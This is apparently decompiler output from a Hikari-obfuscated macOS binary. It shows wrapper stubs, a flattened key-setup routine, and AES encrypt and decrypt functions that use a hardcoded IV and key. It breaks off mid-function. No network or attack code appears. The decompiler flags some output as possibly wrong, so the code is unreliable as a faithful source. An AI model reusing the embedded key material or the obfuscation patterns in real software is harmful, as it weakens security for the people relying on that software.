//----- (0000000100058F10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_230(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058F20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_231(void *a1, const char *a2)
{
return HikariFunctionWrapper_230(a1, a2);
}
//----- (0000000100058F30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_232(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100058F40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_233(void *a1, const char *a2)
{
HikariFunctionWrapper_232(a1, a2);
}
//----- (0000000100058F50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_234(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100058F60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_235(void *a1, const char *a2)
{
HikariFunctionWrapper_234(a1, a2);
}
//----- (0000000100058F70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_236(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058F80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_237(void *a1, const char *a2)
{
return HikariFunctionWrapper_236(a1, a2);
}
//----- (0000000100058F90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_238(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058FA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_239(void *a1, const char *a2)
{
return HikariFunctionWrapper_238(a1, a2);
}
//----- (0000000100058FB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_240(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100058FC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_241(void *a1, const char *a2)
{
HikariFunctionWrapper_240(a1, a2);
}
//----- (0000000100058FD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_242(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100058FE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_243(void *a1, const char *a2)
{
HikariFunctionWrapper_242(a1, a2);
}
//----- (0000000100058FF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_244(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100059000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_245_0(void *a1, const char *a2)
{
HikariFunctionWrapper_244(a1, a2);
}
//----- (0000000100059010) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_246_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100059020) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_247_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_246_0(a1, a2);
}
//----- (0000000100059030) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_248_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100059040) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_249_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_248_0(a1, a2);
}
//----- (0000000100059050) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_250_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100059060) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_251_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_250_0(a1, a2);
}
//----- (0000000100059070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_252_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100059080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_253_0(void *a1, const char *a2)
{
HikariFunctionWrapper_252_0(a1, a2);
}
//----- (0000000100059090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_254_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000590A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_255_0(void *a1, const char *a2)
{
HikariFunctionWrapper_254_0(a1, a2);
}
//----- (00000001000590B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_256_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000590C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_257_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_256_0(a1, a2);
}
//----- (00000001000590D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_258_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000590E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_259_0(void *a1, const char *a2)
{
HikariFunctionWrapper_258_0(a1, a2);
}
//----- (00000001000590F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_260(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100059100) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_261(void *a1, const char *a2)
{
HikariFunctionWrapper_260(a1, a2);
}
//----- (0000000100059110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_262(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100059120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_263(void *a1, const char *a2)
{
return HikariFunctionWrapper_262(a1, a2);
}
//----- (0000000100059130) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
void *__fastcall encryptData(void *a1, double a2)
{
NSNumber *v2; // rax
size_t *v3; // r12
NSDictionary *v4; // rax
NSDictionary *v5; // rbx
NSData *v6; // rax
size_t *v7; // r12
id v8; // rax
id v9; // r13
id dataIn; // r14
id dataOut; // rbx
id dataOutAvailable; // rax
unsigned int v13; // eax
id v14; // rbx
id v15; // rax
id v17; // r14
void *v18; // rbx
id dataOutMoved[2]; // [rsp+20h] [rbp-70h] BYREF
id v20; // [rsp+30h] [rbp-60h]
void *iv; // [rsp+38h] [rbp-58h]
size_t dataInLength; // [rsp+40h] [rbp-50h]
id v23; // [rsp+48h] [rbp-48h]
void *key; // [rsp+50h] [rbp-40h]
id v25; // [rsp+58h] [rbp-38h]
__int64 v26; // [rsp+60h] [rbp-30h]
v26 = -1;
if ( !dword_10029F350 )
{
strcpy(asc_100269725, "timestamp");
strcpy(a9cx, "Error serializing JSON: %@");
strcpy(asc_1002696C0, "Encryption error: %d");
aFJ[0] = 100;
aFJ[1] = 97;
aFJ[2] = 116;
aFJ[3] = 97;
aFJ[4] = 0;
strcpy(asc_100269680, "Encryption exception: %@");
}
v23 = a1;
dword_10029F350 = 1;
objc_retain(a1);
initEncryption(a2);
v2 = +[NSNumber numberWithLong:](&OBJC_CLASS___NSNumber, "numberWithLong:", time_init);
v3 = objc_retainAutoreleasedReturnValue(v2);
dataOutMoved[1] = v3;
v4 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
dataOutMoved,
dataOutMoved,
2);
v5 = objc_retainAutoreleasedReturnValue(v4);
objc_release(v3);
dataOutMoved[0] = 0;
v20 = v5;
v6 = +[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v5,
0,
dataOutMoved);
v25 = objc_retainAutoreleasedReturnValue(v6);
v7 = (size_t *)dataOutMoved[0];
objc_retain(dataOutMoved[0]);
if ( v7 )
{
NSLog(
CFSTR("9cX\xD9\x79\xF3\xBB\x66\x43\xE8\x23\xB0K\x132\xF9\x01]U\xFF\x95\xE0\xDF\x27\x10\xC3\x5F"),
v7,
73760,
4197751807LL);
key = 0;
}
else
{
objc_msgSend(v25, "length");
v8 = HikariFunctionWrapper_680(&OBJC_CLASS___NSMutableData, "dataWithLength:");
v9 = objc_retainAutoreleasedReturnValue(v8);
key = HikariFunctionWrapper_682(::key, "bytes");
iv = objc_msgSend(::iv, "bytes");
objc_retainAutorelease(v25);
dataIn = objc_msgSend(v25, "bytes");
dataInLength = (size_t)objc_msgSend(v25, "length");
objc_retainAutorelease(v9);
dataOut = objc_msgSend(v9, "mutableBytes");
dataOutAvailable = HikariFunctionWrapper_684(v9, "length");
v13 = CCCrypt(
0,
0,
1u,
key,
0x20u,
iv,
dataIn,
dataInLength,
dataOut,
(size_t)dataOutAvailable,
(size_t *)dataOutMoved);
if ( v13 )
{
v14 = 0;
NSLog(CFSTR("\xA7G0\xC8\x4F\xAEK\xDC\x608\xBC\xEB\xE1\x01L\ra\r\xFD"), v13);
}
else
{
objc_msgSend(v9, "setLength:", dataOutMoved[0]);
v15 = objc_msgSend(v9, "base64EncodedStringWithOptions:", 0);
v14 = objc_retainAutoreleasedReturnValue(v15);
}
objc_release(v9);
key = v14;
}
v17 = v20;
objc_release(v25);
objc_release(v7);
objc_release(v17);
v18 = key;
objc_release(v23);
objc_autoreleaseReturnValue(v18);
return v18;
}
// 10005AA6A: conditional instruction was optimized away because r14d.4==596A7E8B
// 100059F78: bad sp value at call
// 10005A00D: bad sp value at call
// 10029F338: using guessed type __int64 time_init;
// 10029F350: using guessed type int dword_10029F350;
//----- (000000010005AC58) ----------------------------------------------------
__int64 __fastcall initEncryption(double a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
id v5; // rax
id v6; // rax
id v7; // rdi
id v8; // rax
id v9; // rax
char v10; // cf
int v11; // ecx
bool v12; // zf
int v13; // ecx
bool v14; // zf
int v15; // ecx
id v16; // rax
NSDate *v17; // rax
NSDate *v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rdi
id v23; // rax
id v24; // [rsp+0h] [rbp-70h]
id v25; // [rsp+8h] [rbp-68h]
id v26; // [rsp+10h] [rbp-60h]
void *v27; // [rsp+18h] [rbp-58h]
id v28; // [rsp+20h] [rbp-50h]
const char *v29; // [rsp+28h] [rbp-48h]
int v30; // [rsp+34h] [rbp-3Ch]
int v31; // [rsp+38h] [rbp-38h] BYREF
bool v32; // [rsp+3Ch] [rbp-34h]
bool v33; // [rsp+3Dh] [rbp-33h]
bool v34; // [rsp+3Eh] [rbp-32h]
char v35; // [rsp+3Fh] [rbp-31h]
int *v36; // [rsp+40h] [rbp-30h]
v31 = -137980438;
v36 = &v31;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v31;
if ( v31 > -399851231 )
break;
if ( v31 > -1506273286 )
{
if ( v31 <= -988884411 )
{
if ( v31 <= -1143782543 )
{
switch ( v31 )
{
case -1506273285:
asc_100269930[2] = v35 ^ 0xB8;
asc_100269930[3] = 97;
asc_100269930[4] = 75;
asc_100269930[5] = 87;
asc_100269930[6] = 116;
asc_100269930[7] = 120;
asc_100269930[8] = 98;
asc_100269930[9] = 102;
asc_100269930[10] = 57;
asc_100269930[11] = 80;
asc_100269930[12] = 100;
asc_100269930[13] = 116;
asc_100269930[14] = 50;
asc_100269930[15] = 111;
asc_100269930[16] = 53;
asc_100269930[17] = 49;
asc_100269930[18] = 52;
asc_100269930[19] = 50;
asc_100269930[20] = 108;
asc_100269930[21] = 71;
asc_100269930[22] = 66;
asc_100269930[23] = 56;
asc_100269930[24] = 104;
asc_100269930[25] = 111;
asc_100269930[26] = 74;
asc_100269930[27] = 67;
asc_100269930[28] = 48;
asc_100269930[29] = 103;
asc_100269930[30] = 103;
asc_100269930[31] = 49;
asc_100269930[32] = 108;
asc_100269930[33] = 77;
asc_100269930[34] = 48;
asc_100269930[35] = 43;
asc_100269930[36] = 106;
asc_100269930[37] = 67;
asc_100269930[38] = 86;
asc_100269930[39] = 70;
asc_100269930[40] = 104;
asc_100269930[41] = 107;
asc_100269930[42] = 56;
asc_100269930[43] = 61;
asc_100269930[44] = 0;
strcpy(asc_1002698E0, "Invalid key or IV length.");
qmemcpy(asc_1002698A0, "+Vq/Wy4W6Zc9TP8zD27pLw==", 24);
*v36 = -888115182;
break;
case -1355309369:
v10 = 0;
v3 = 1655682314;
v11 = 492128953;
goto LABEL_148;
case -1265928064:
v10 = 0;
asc_1002698A0[24] = 0;
v3 = 2103139672;
v11 = -1265928064;
goto LABEL_148;
}
}
else if ( v31 > -1075887199 )
{
if ( v31 == -1075887198 )
{
*v36 = 848462313;
}
else if ( v31 == -1041026837 )
{
v2 = 1;
v3 = 1773644794;
v4 = 2124251053;
goto LABEL_152;
}
}
else
{
if ( v31 == -1143782542 )
{
v10 = 1;
v3 = -1143782542;
v11 = -1582587100;
LABEL_148:
if ( v10 )
v3 = v11;
goto LABEL_154;
}
if ( v31 == -1084050705 )
{
v2 = 0;
v3 = 1596044133;
v4 = -1143782542;
goto LABEL_152;
}
}
}
else if ( v31 > -721041758 )
{
if ( v31 > -565842633 )
{
if ( v31 == -565842632 )
{
*v36 = -1084050705;
}
else if ( v31 == -430765003 )
{
*v36 = -29710613;
}
}
else if ( v31 == -721041757 )
{
v12 = 0;
v3 = -604366604;
v13 = 1200376457;
LABEL_139:
if ( v12 )
v3 = v13;
LABEL_154:
*v36 = v3;
}
else if ( v31 == -604366604 )
{
v34 = v26 == (id)16;
v14 = 0;
v3 = -604366604;
v15 = -1947058712;
goto LABEL_132;
}
}
else if ( v31 > -888115183 )
{
if ( v31 == -888115182 )
{
asc_100269930[2] = v35 ^ 0xB8;
asc_100269930[3] = 97;
asc_100269930[4] = 75;
asc_100269930[5] = 87;
asc_100269930[6] = 116;
asc_100269930[7] = 120;
asc_100269930[8] = 98;
asc_100269930[9] = 102;
asc_100269930[10] = 57;
asc_100269930[11] = 80;
asc_100269930[12] = 100;
asc_100269930[13] = 116;
asc_100269930[14] = 50;
asc_100269930[15] = 111;
asc_100269930[16] = 53;
asc_100269930[17] = 49;
asc_100269930[18] = 52;
asc_100269930[19] = 50;
asc_100269930[20] = 108;
asc_100269930[21] = 71;
asc_100269930[22] = 66;
asc_100269930[23] = 56;
asc_100269930[24] = 104;
asc_100269930[25] = 111;
asc_100269930[26] = 74;
asc_100269930[27] = 67;
asc_100269930[28] = 48;
asc_100269930[29] = 103;
asc_100269930[30] = 103;
asc_100269930[31] = 49;
asc_100269930[32] = 108;
asc_100269930[33] = 77;
asc_100269930[34] = 48;
asc_100269930[35] = 43;
asc_100269930[36] = 106;
asc_100269930[37] = 67;
asc_100269930[38] = 86;
asc_100269930[39] = 70;
asc_100269930[40] = 104;
asc_100269930[41] = 107;
asc_100269930[42] = 56;
asc_100269930[43] = 61;
asc_100269930[44] = 0;
strcpy(asc_1002698E0, "Invalid key or IV length.");
qmemcpy(asc_1002698A0, "+Vq/Wy4W6Zc9TP8zD27pLw==", 24);
*v36 = 1915443959;
}
else if ( v31 == -858285323 )
{
v10 = 1;
dword_10029F354 = 1;
v24 = key;
v3 = -858285323;
v11 = 1171337998;
goto LABEL_148;
}
}
else if ( v31 == -988884410 )
{
asc_100269930[0] = 86;
asc_100269930[1] = 108;
*v36 = -1856272702;
}
else if ( v31 == -975574468 )
{
v2 = 0;
v3 = -1530353642;
v4 = 1426146413;
goto LABEL_152;
}
}
else if ( v31 <= -1841256054 )
{
if ( v31 <= -1947058713 )
{
switch ( v31 )
{
case -2040626261:
*v36 = 1938692145;
break;
case -1965260133:
v14 = !v32;
v3 = -1870385171;
v15 = -1841256053;
goto LABEL_132;
case -1957144194:
NSLog(CFSTR("?\xA7\x87Z\xE2\xC6\x4CS\xBBؙY\xE7\x85\x56\x82\xB4{\xE0\xAC\x3D\x19S\x142"));
*v36 = -565842632;
break;
}
}
else if ( v31 > -1870385172 )
{
if ( v31 == -1870385171 )
{
v2 = 1;
v3 = -858285323;
v4 = -1798088855;
LABEL_152:
if ( !v2 )
v3 = v4;
goto LABEL_154;
}
if ( v31 == -1856272702 )
{
asc_100269930[0] = 86;
asc_100269930[1] = 108;
v35 = -7;
*v36 = 1946745876;
}
}
else if ( v31 == -1947058712 )
{
*v36 = -1355309369;
}
else if ( v31 == -1930615644 )
{
*v36 = -975574468;
}
}
else if ( v31 > -1576043131 )
{
if ( v31 > -1545187526 )
{
if ( v31 == -1545187525 )
{
v32 = v30 == 0;
*v36 = 568622379;
}
else if ( v31 == -1530353642 )
{
iv = v27;
objc_release(v28);
v17 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v18 = objc_retainAutoreleasedReturnValue(v17);
-[NSDate timeIntervalSince1970](v18, "timeIntervalSince1970");
time_init = (unsigned int)(int)a1;
*v36 = 1426146413;
}
}
else if ( v31 == -1576043130 )
{
v20 = HikariFunctionWrapper_702((objc_class *)&OBJC_CLASS___NSData);
v21 = objc_msgSend(
v20,
"initWithBase64EncodedString:options:",
CFSTR("\xB8\x9DI\x15\xAE\xCA\x68\xBC\xB3\xD2\x7F\x1B%\xDF\xFA\xEC\x59\xC6\xD1\xEC\xD3\x79\xDC\x1B\xF1\x1F\x44\xAE\b\x14>f\xD1\xEE\xEE\x5B\x93(\xA3\xA5g\x81\xA3\x03\r"),
0);
v22 = key;
key = v21;
objc_release(v22);
v23 = objc_alloc((Class)&OBJC_CLASS___NSData);
HikariFunctionWrapper_704(v23, "initWithBase64EncodedString:options:");
*v36 = 1927737478;
}
else if ( v31 == -1559357500 )
{
v14 = !v34;
v3 = 361165193;
v15 = 224169560;
goto LABEL_132;
}
}
else if ( v31 > -1798088856 )
{
if ( v31 == -1798088855 )
{
dword_10029F354 = 1;
*v36 = -858285323;
}
else if ( v31 == -1582587100 )
{
*v36 = 224169560;
}
}
else
{
if ( v31 == -1841256053 )
{
v10 = 1;
v3 = -988884410;
v11 = -1856272702;
goto LABEL_148;
}
if ( v31 == -1811220221 )
{
v2 = 0;
v3 = -1506273285;
v4 = -888115182;
goto LABEL_152;
}
}
}
if ( v31 <= 1171337997 )
break;
if ( v31 <= 1916124409 )
{
if ( v31 <= 1596044132 )
{
switch ( v31 )
{
case 1171337998:
*v36 = 728052143;
break;
case 1200376457:
*v36 = -604366604;
break;
case 1426146413:
iv = v27;
objc_release(v28);
v16 = HikariFunctionWrapper_698(&OBJC_CLASS___NSDate, "date");
v25 = objc_retainAutoreleasedReturnValue(v16);
objc_msgSend(v25, "timeIntervalSince1970");
v12 = 0;
time_init = (unsigned int)(int)a1;
v3 = -430765003;
v13 = -1530353642;
goto LABEL_139;
}
}
else if ( v31 > 1773644793 )
{
if ( v31 == 1773644794 )
{
v19 = HikariFunctionWrapper_700(iv, v29);
v12 = 0;
v26 = v19;
v3 = 555875782;
v13 = 1773644794;
goto LABEL_139;
}
if ( v31 == 1915443959 )
*v36 = 764835874;
}
else if ( v31 == 1596044133 )
{
*v36 = -1143782542;
}
else if ( v31 == 1655682314 )
{
v12 = 0;
v3 = -1559357500;
v13 = 1655682314;
goto LABEL_139;
}
}
else if ( v31 > 1954999575 )
{
if ( v31 > 2103139671 )
{
if ( v31 == 2103139672 )
{
*v36 = -1870385171;
}
else if ( v31 == 2124251053 )
{
objc_msgSend(iv, v29);
*v36 = 1773644794;
}
}
else if ( v31 == 1954999576 )
{
*v36 = -399851230;
}
else if ( v31 == 2040635755 )
{
v10 = 1;
v3 = -1576043130;
v11 = 1927737478;
goto LABEL_148;
}
}
else if ( v31 > 1938692144 )
{
if ( v31 == 1938692145 )
{
v33 = v24 == 0;
v2 = 0;
v3 = -2040626261;
v4 = 261279353;
goto LABEL_152;
}
if ( v31 == 1946745876 )
*v36 = -1811220221;
}
else if ( v31 == 1916124410 )
{
NSLog(CFSTR("?\xA7\x87Z\xE2\xC6\x4CS\xBBؙY\xE7\x85\x56\x82\xB4{\xE0\xAC\x3D\x19S\x142"));
*v36 = -1957144194;
}
else if ( v31 == 1927737478 )
{
v5 = HikariFunctionWrapper_694((objc_class *)&OBJC_CLASS___NSData);
v6 = objc_msgSend(
v5,
"initWithBase64EncodedString:options:",
CFSTR("\xB8\x9DI\x15\xAE\xCA\x68\xBC\xB3\xD2\x7F\x1B%\xDF\xFA\xEC\x59\xC6\xD1\xEC\xD3\x79\xDC\x1B\xF1\x1F\x44\xAE\b\x14>f\xD1\xEE\xEE\x5B\x93(\xA3\xA5g\x81\xA3\x03\r"),
0);
v7 = key;
key = v6;
objc_release(v7);
v8 = objc_alloc((Class)&OBJC_CLASS___NSData);
v9 = HikariFunctionWrapper_696(v8, "initWithBase64EncodedString:options:");
v10 = 1;
v27 = v9;
v28 = iv;
v3 = -1576043130;
v11 = -1930615644;
goto LABEL_148;
}
}
if ( v31 <= 555875781 )
break;
if ( v31 <= 764835873 )
{
switch ( v31 )
{
case 555875782:
*v36 = -721041757;
break;
case 568622379:
v2 = 1;
v3 = 848462313;
v4 = -1075887198;
goto LABEL_152;
case 728052143:
v2 = 0;
v3 = -2040626261;
v4 = 1938692145;
goto LABEL_152;
}
}
else if ( v31 > 918204745 )
{
if ( v31 == 918204746 )
{
v14 = !v33;
v3 = 224169560;
v15 = 2040635755;
LABEL_132:
if ( !v14 )
v3 = v15;
goto LABEL_154;
}
if ( v31 == 964397380 )
{
asc_1002698A0[24] = 0;
*v36 = -1265928064;
}
}
else
{
if ( v31 == 764835874 )
{
v2 = 1;
v3 = -1265928064;
v4 = 964397380;
goto LABEL_152;
}
if ( v31 == 848462313 )
{
v14 = 0;
v3 = -1075887198;
v15 = -1965260133;
goto LABEL_132;
}
}
}
if ( v31 <= 261279352 )
break;
if ( v31 > 484285962 )
{
if ( v31 == 484285963 )
{
*v36 = -1545187525;
}
else if ( v31 == 492128953 )
{
*v36 = 1655682314;
}
}
else if ( v31 == 261279353 )
{
*v36 = 918204746;
}
else if ( v31 == 361165193 )
{
v12 = 0;
v3 = -1957144194;
v13 = 1916124410;
goto LABEL_139;
}
}
if ( v31 > -29710614 )
break;
if ( v31 == -399851230 )
{
v2 = 1;
v30 = dword_10029F354;
v3 = 484285963;
v4 = 1954999576;
goto LABEL_152;
}
if ( v31 == -137980438 )
{
v14 = 0;
v3 = 1954999576;
v15 = -399851230;
goto LABEL_132;
}
}
if ( v31 == -29710613 )
{
objc_release(v25);
v29 = "length";
v12 = objc_msgSend(key, "length") == (id)32;
v3 = 361165193;
v13 = -1041026837;
goto LABEL_139;
}
}
while ( v31 != 224169560 );
return result;
}
// 10005B1BB: variable 'v26' is possibly undefined
// 10005B27A: variable 'v27' is possibly undefined
// 10005B285: variable 'v28' is possibly undefined
// 10005B420: variable 'v29' is possibly undefined
// 10005B659: variable 'v25' is possibly undefined
// 10005B6E0: variable 'v24' is possibly undefined
// 10005BFAC: variable 'v30' is possibly undefined
// 100269A00: using guessed type __CFString stru_100269A00;
// 10029F338: using guessed type __int64 time_init;
// 10029F354: using guessed type int dword_10029F354;
//----- (000000010005C672) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
id __fastcall decryptData(void *a1, double a2)
{
double v2; // xmm0_8
id v3; // rax
id v4; // rax
id v5; // r14
id v6; // rdi
id v7; // r12
char *v8; // rcx
NSMutableData *v9; // rax
id dataIn; // r13
id dataOut; // r14
id dataOutAvailable; // rax
__int64 v13; // rsi
id v14; // rax
id v15; // rax
size_t *v16; // r14
void *v17; // r13
id v18; // rbx
id v19; // rax
id v20; // rax
id v21; // r13
id v22; // r15
id v23; // rax
id v24; // rbx
id v25; // r13
NSDate *v26; // rax
NSDate *v27; // rbx
id v28; // rax
void *v29; // r12
id v30; // r13
id v31; // r15
size_t *dataOutMoved[3]; // [rsp+20h] [rbp-80h] BYREF
id v34; // [rsp+38h] [rbp-68h]
id v35; // [rsp+40h] [rbp-60h]
id v36; // [rsp+48h] [rbp-58h]
id v37; // [rsp+50h] [rbp-50h]
void *iv; // [rsp+58h] [rbp-48h]
size_t dataInLength; // [rsp+60h] [rbp-40h]
id v40; // [rsp+68h] [rbp-38h]
void *key; // [rsp+70h] [rbp-30h]
if ( !dword_10029F358 )
{
strcpy(a3_0, "Decryption exception: %@");
strcpy(asc_100269BC9, "[^A-Za-z0-9+/=]");
strcpy(asc_100269B50, "Decryption error: Data is expired");
strcpy(asc_100269725, "timestamp");
strcpy(a4_3, "Decryption error: Invalid data structure");
aFJ[0] = 100;
aFJ[1] = 97;
aFJ[2] = 116;
aFJ[3] = 97;
aFJ[4] = 0;
strcpy(asc_100269A90, "Decryption error: Invalid JSON - %@");
strcpy(aK_0, "Decryption error: %d");
}
dword_10029F358 = 1;
v37 = a1;
objc_retain(a1);
HikariFunctionWrapper_706(a2);
v3 = HikariFunctionWrapper_708(&OBJC_CLASS___NSRegularExpression, "regularExpressionWithPattern:options:error:");
v36 = objc_retainAutoreleasedReturnValue(v3);
objc_msgSend(v37, "length");
dataOutMoved[0] = (size_t *)&stru_10025B688;
v4 = HikariFunctionWrapper_710(v36, "stringByReplacingMatchesInString:options:range:withTemplate:");
v5 = objc_retainAutoreleasedReturnValue(v4);
v6 = objc_alloc((Class)&OBJC_CLASS___NSData);
v7 = objc_msgSend(v6, "initWithBase64EncodedString:options:", v5, 0);
v34 = v5;
v8 = (char *)objc_msgSend(v7, "length") + 16;
v9 = +[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:", v8);
v40 = objc_retainAutoreleasedReturnValue(v9);
key = objc_msgSend(::key, "bytes");
iv = HikariFunctionWrapper_712(::iv, "bytes");
objc_retainAutorelease(v7);
dataIn = objc_msgSend(v7, "bytes", 246940102, 956754954);
dataInLength = (size_t)objc_msgSend(v7, "length");
objc_retainAutorelease(v40);
dataOut = HikariFunctionWrapper_714(v40, "mutableBytes");
dataOutAvailable = HikariFunctionWrapper_716(v40, "length");
v13 = (unsigned int)CCCrypt(
1u,
0,
1u,
key,
0x20u,
iv,
dataIn,
dataInLength,
dataOut,
(size_t)dataOutAvailable,
(size_t *)dataOutMoved);
v35 = v7;
if ( (_DWORD)v13 )
{
NSLog(CFSTR("}K\xBB.\x15ѐ\x1E|\xC0\xD9kc\xF8<\x90^S\xAA"), v13, 1058705539, 1413540625);
key = 0;
}
else
{
objc_msgSend(v40, "setLength:", dataOutMoved[0]);
v14 = objc_alloc((Class)&OBJC_CLASS___NSString);
iv = objc_msgSend(v14, "initWithData:encoding:", v40, 4);
dataOutMoved[0] = 0;
v15 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v40,
0,
dataOutMoved);
key = objc_retainAutoreleasedReturnValue(v15);
v16 = dataOutMoved[0];
objc_retain(dataOutMoved[0]);
v17 = key;
if ( v16 )
{
v18 = 0;
NSLog(
CFSTR("\x8E\x8B\xB4\rH%\xC9\x25T\xB8\xAE\x12y\xB4\xCC\xC7߸*\xA22\x82<\xE4\x56\xB2\x00\x18n\xF3\x69\x48\x06\xD7\x0E."),
v16);
}
else
{
v19 = objc_msgSend(key, "objectForKeyedSubscript:", CFSTR("F\x1Aɟ\x14"));
dataInLength = (size_t)objc_retainAutoreleasedReturnValue(v19);
if ( dataInLength
&& (v20 = objc_msgSend(
v17,
"objectForKeyedSubscript:",
CFSTR("\x18\xE9\xE9\x11\xE2\x82\x58\xFCv\xBC"),
1448254273),
v21 = objc_retainAutoreleasedReturnValue(v20),
objc_release(v21),
v22 = v21,
objc_release((id)dataInLength),
v17 = key,
v22) )
{
v23 = objc_msgSend(key, "objectForKeyedSubscript:", CFSTR("\x18\xE9\xE9\x11\xE2\x82\x58\xFCv\xBC"));
v24 = objc_retainAutoreleasedReturnValue(v23);
v25 = HikariFunctionWrapper_718(v24, "longValue");
objc_release(v24);
v26 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v27 = objc_retainAutoreleasedReturnValue(v26);
-[NSDate timeIntervalSince1970](v27, "timeIntervalSince1970");
objc_release(v27);
if ( (__int64)((unsigned int)(int)v2 - (_QWORD)v25) < 301 )
{
v17 = key;
v28 = HikariFunctionWrapper_720(key, "objectForKeyedSubscript:");
v18 = objc_retainAutoreleasedReturnValue(v28);
}
else
{
v18 = 0;
NSLog(
CFSTR("\xA8\xA3\xB3\xF8\xB2\x9E[3K\xA3\x00\xA45\xBDm\xA3\x9F\xC2\x58bt\xA8\x18\x15\x9Cϖ\xB6 (</\xA1~"),
"objectForKeyedSubscript:");
v17 = key;
}
}
else
{
v18 = 0;
NSLog(
CFSTR("4\xE0\x07\xB9J\x063\xB4\x89\xB8\\\x19U\x04\xA7ʑ\xCF\xF5I*\x97\"\a(r\x98i\xC5\xD7\xF6\xAE\x86\x369\xABR=\x12\xC5\xDA"),
"objectForKeyedSubscript:",
69206720,
1731736257);
}
}
key = v18;
v29 = iv;
objc_release(v17);
objc_release(v16);
objc_release(v29);
}
v30 = v34;
